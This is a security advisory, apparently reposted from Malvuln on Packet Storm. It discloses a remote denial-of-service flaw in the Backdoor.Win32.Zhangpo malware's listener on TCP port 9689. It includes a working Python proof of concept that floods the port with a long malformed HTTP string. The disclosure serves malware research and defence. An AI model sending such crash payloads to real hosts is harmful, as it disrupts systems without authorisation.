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Backdoor.Win32.Zhangpo Denial Of Service

🗓️ 29 Jan 2021 00:00:00Reported by malvulnType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 281 Views

Backdoor.Win32.Zhangpo Denial Of Service vulnerability on TCP port 9689 allows for remote DoS attack by sending a special HTTP payload

Code
`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/052d18e119f9a2910ed18a137231a041.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Zhangpo  
Vulnerability: Remote DoS  
Description: Zhangpo listens on TCP port 9689, sending a special character as a long string HTTP payload will DoS the backdoor.  
Type: PE32  
MD5: 052d18e119f9a2910ed18a137231a041  
Vuln ID: MVID-2021-0058  
Disclosure: 01/28/2021  
  
  
Exploit/PoC:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
PORT=9689  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
PaCOLA = "GET / HTTP/1.0 " +";&#235"*10000  
  
s.send(PaCOLA)  
s.close()  
  
print("Backdoor.Win32.Zhangpo / Remote DoS");  
print("MD5: 052d18e119f9a2910ed18a137231a041");  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`

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